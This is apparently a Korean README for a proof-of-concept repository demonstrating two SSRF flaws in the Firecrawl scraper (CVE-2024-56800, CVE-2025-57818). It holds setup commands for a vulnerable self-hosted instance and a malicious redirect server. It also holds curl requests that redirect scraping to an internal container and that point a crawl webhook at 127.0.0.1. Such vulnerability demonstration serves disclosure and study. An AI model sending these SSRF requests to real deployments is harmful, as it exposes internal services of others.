
Firecrawl 웹 스크래퍼의 SSRF 취약점(CVE-2024-56800, CVE-2025-57818)을 시연하는 개념 증명 익스플로잇으로, 자체 호스팅 설정 및 악성 리디렉션 서버를 포함합니다.
https://nvd.nist.gov/vuln/detail/CVE-2024-56800
https://github.com/firecrawl/firecrawl/commit/4d1f92f4c8c36403022428285a03621fd90d62ec
https://github.com/firecrawl/firecrawl/security/advisories/GHSA-vjp8-2wgg-p734
Firecrawl은 웹페이지의 콘텐츠를 추출할 수 있는 웹 스크래퍼입니다. 1.1.1 이전 버전에는 서버 측 요청 위조(SSRF) 취약점이 포함되어 있습니다. 스크래퍼 엔진은 웹사이트가 로컬 IP 주소로 리디렉션되는 것을 허용하여 개인 서버의 리소스가 유출됩니다.
이는 apps/api/src/controllers/v1/scrape.ts에 있습니다.
사용자 입력이 검증되지 않아 개인 IP 주소가 허용됩니다. 127.0.0.1을 사용하면 실제로 firecrawl의 로컬 네트워크로 리디렉션되어 firecrawl 서버의 내부 서버가 유출됩니다.
git clone https://github.com/cyhe50/cve-2024-56800-poc
cd cve-2024-56800-poc
cd scraper/firecrawl-1.0.0
docker-compose up -d
cd ../..
cd malicious_server
docker build -t malicious_server .
docker run -p 8000:80 malicious_server
이유는 firecrawl 서버가 개인 URL을 차단하기 때문입니다. 서버를 공개하고 싶지 않다면 firecrawl에서 직접 검증을 주석 처리하면 된다고 생각합니다.
여기서는 제가 한 방법을 적어 두었습니다. ngrok:
ngrok http 8000
curl: (올바른 URL을 붙여넣어야 함)
curl -X POST http://localhost:3002/v1/scrape \
-H 'Content-Type: application/json' \
-d '{
"url": "https://xxxxx.ngrok-free.app",
"formats": ["markdown", "html"]
}'
scraper.py
cd scraper
!! Dockerfile을 열고 방금 생성한 URL로 변경하세요.
docker build -t scraper .
docker run scraper
셀프 호스팅 firecrawl 서버를 시작하면 5개의 서비스가 활성화되며, 그중 하나는 firecrawl-test-1입니다(자세한 내용은 docker ps로 확인).
이 5개의 서비스는 모두 동일한 네트워크에 설정되어 있으므로, 연결하려는 컨테이너 이름을 사용하여 서로 연결할 수 있습니다.
예: (firecrawl-test-1에 연결)
로컬 머신에서 직접 curl 실행:
curl http://firecrawl-test-1:80
or
curl http://localhost:80
firecrawl-test-1과 동일한 네트워크에 있지 않으므로 둘 다 작동하지 않습니다.
그러나 firecrawl-api-1에서 액세스하는 경우:
docker exec -it firecrawl-api-1 /bin/bash
curl http:firecrawl-test-1:80
or
curl http://localhost:80
동일한 네트워크에 있으므로 올바른 데이터가 출력됩니다.
악성 서버에서는 http://firecrawl-test-1:80으로 리디렉션되며, 이는 firecrawl 네트워크에서만 작동해야 합니다. 따라서 firecrawl-test-1 서버에 성공적으로 도달했다는 것은 스크래퍼가 내부 서버로 성공적으로 리디렉션되었음을 의미합니다. 이는 SSRF가 개인 서버의 리소스를 노출하는 방식을 보여줍니다.
이것도 SSRF 취약점입니다.
이는 크롤 API에서 발생하며, webhook 매개변수가 검증되지 않아 공격자가 firecrawl의 로컬 네트워크로 POST 요청을 보낼 수 있습니다.
이는 apps/api/src/services/webhook.ts에 있습니다.
문제는 입력 webhookUrl이 검증되지 않는다는 점입니다.
웹훅은 지정된 URL로 POST 요청을 보냅니다. 여기서는 127.0.0.1로 설정했으며 내부 서버에 성공적으로 연결되었습니다.
curl -X POST http://localhost:3002/v1/crawl \
-H 'Content-Type: application/json' \
-d '{
"url": "https://example.com",
"webhook": "http://127.0.0.1:80"
}'
내부 서버가 POST 요청을 성공적으로 수신했습니다.
![]()